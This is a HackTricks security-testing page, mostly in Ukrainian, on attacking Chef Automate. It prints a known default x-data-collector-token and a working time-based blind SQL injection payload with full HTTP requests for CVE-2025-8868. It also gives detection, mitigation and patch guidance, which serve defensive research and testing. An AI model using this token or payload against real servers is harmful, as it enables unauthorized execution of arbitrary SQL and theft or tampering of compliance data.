Chef Automate Перерахування та атаки

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Огляд

На цій сторінці зібрані практичні техніки для виявлення та атак на інстанси Chef Automate, із акцентом на:

  • Виявлення REST-ендпойнтів, підключених через gRPC-Gateway, та виведення схем запитів за допомогою повідомлень валідації/помилок
  • Зловживання заголовком аутентифікації x-data-collector-token, коли присутні значення за замовчуванням
  • Часозалежний сліпий SQL injection у Compliance API (CVE-2025-8868), що впливає на поле filters[].type у /api/v0/compliance/profiles/search

Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.

Розвідка: архітектура та сигнатури

  • Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
  • API transport: REST to gRPC via gRPC-Gateway
  • Responses may include grpc-metadata-content-type: application/grpc
  • Database/driver fingerprints:
  • Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
  • Interesting Compliance endpoints (auth required):
  • POST /api/v0/compliance/profiles/search
  • POST /api/v0/compliance/scanner/jobs/search

Аутентифікація: Data Collector Token (x-data-collector-token)

Chef Automate надає data collector, який аутентифікує запити через спеціальний заголовок:

  • Header: x-data-collector-token
  • Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
  • 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.

Виведення схеми API через виявлення на основі помилок

gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.

For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:

  • type: string (filter field identifier)
  • values: array of strings

Example request shape:

json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
}

Некоректний JSON або неправильні типи полів зазвичай викликають помилки 4xx/5xx з підказками, а заголовки вказують на поведінку gRPC-Gateway. Використовуйте це, щоб зіставити поля та локалізувати поверхні ін'єкцій.

Compliance API SQL Injection (CVE-2025-8868)

  • Затронутий endpoint: POST /api/v0/compliance/profiles/search
  • Injection point: filters[].type
  • Клас вразливості: time-based blind SQL injection in PostgreSQL
  • Причина: відсутність належної параметризації/перевірки за білим списком при інтерполяції поля type в динамічний SQL-фрагмент (ймовірно використовується для побудови ідентифікаторів/WHERE-умов). Сконструйовані значення в type виконуються PostgreSQL.

Working time-based payload:

json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Technique notes:

  • Закрийте вихідний рядок одинарною лапкою (')
  • Додайте підзапит, який викликає pg_sleep(N)
  • Знову уведіть контекст рядка через ||, щоб фінальний SQL залишався синтаксично валідним незалежно від того, де вставлено type

Доказ через диференційну затримку

Надішліть пару запитів і порівняйте часи відповіді, щоб підтвердити виконання на боці сервера:

  • N = 1 секунда
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
  • N = 5 секунд
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Observed behavior:

  • Час відповіді масштабується відповідно до pg_sleep(N)
  • HTTP 500 відповіді можуть містити pq: деталі під час пробування, що підтверджує шляхи виконання SQL

Порада: Використовуйте таймінговий валідатор (наприклад, кілька запусків із статистичним порівнянням), щоб зменшити шум та false positives.

Impact

Аутентифіковані користувачі — або неаутентифіковані дії, що зловживають дефолтним x-data-collector-token — можуть виконувати довільний SQL у контексті PostgreSQL Chef Automate, що ставить під загрозу конфіденційність та цілісність профілів відповідності, конфігурації та телеметрії.

Affected versions / Fix

  • CVE: CVE-2025-8868
  • Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories

Detection and Forensics

  • API layer:
  • Моніторити 500 відповіді на /api/v0/compliance/profiles/search коли filters[].type містить лапки ('), конкатенацію (||) або посилання на функції типу pg_sleep
  • Інспектувати заголовки відповіді на наявність grpc-metadata-content-type для ідентифікації потоків gRPC-Gateway
  • Database layer (PostgreSQL):
  • Аудит викликів pg_sleep та помилок malformed identifier (часто проявляються з префіксами pq:, що приходять від Go pq driver)
  • Authentication:
  • Логувати та генерувати алерти про використання x-data-collector-token, особливо відомих дефолтних значень, у межах API шляхів

Mitigations and Hardening

  • Immediate:
  • Змінити/вимкнути дефолтні токени data collector
  • Обмежити вхідний трафік до endpoint-ів data collector; вимагати сильні, унікальні токени
  • Code-level:
  • Параметризувати запити; ніколи не робити string-concatenate SQL фрагментів
  • Строго whitelist-ити дозволені значення type на сервері (enum)
  • Уникати динамічної збірки SQL для ідентифікаторів/клауз; якщо потрібна динаміка — використовувати безпечне екранування ідентифікаторів та явні whitelist-и

Practical Testing Checklist

  • Перевірити, чи приймається x-data-collector-token і чи працює відоме дефолтне значення
  • Змапити схему запитів Compliance API, індукуючи помилки валідації та читаючи повідомлення про помилки/заголовки
  • Тестувати на SQLi у менш очевидних полях, схожих на ідентифікатори (наприклад, filters[].type), а не лише в масивах значень або топ-рівневих текстових полях
  • Використовувати тайм-бейзовані техніки з конкатенацією, щоб зберегти синтаксичну валідність SQL у різних контекстах

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks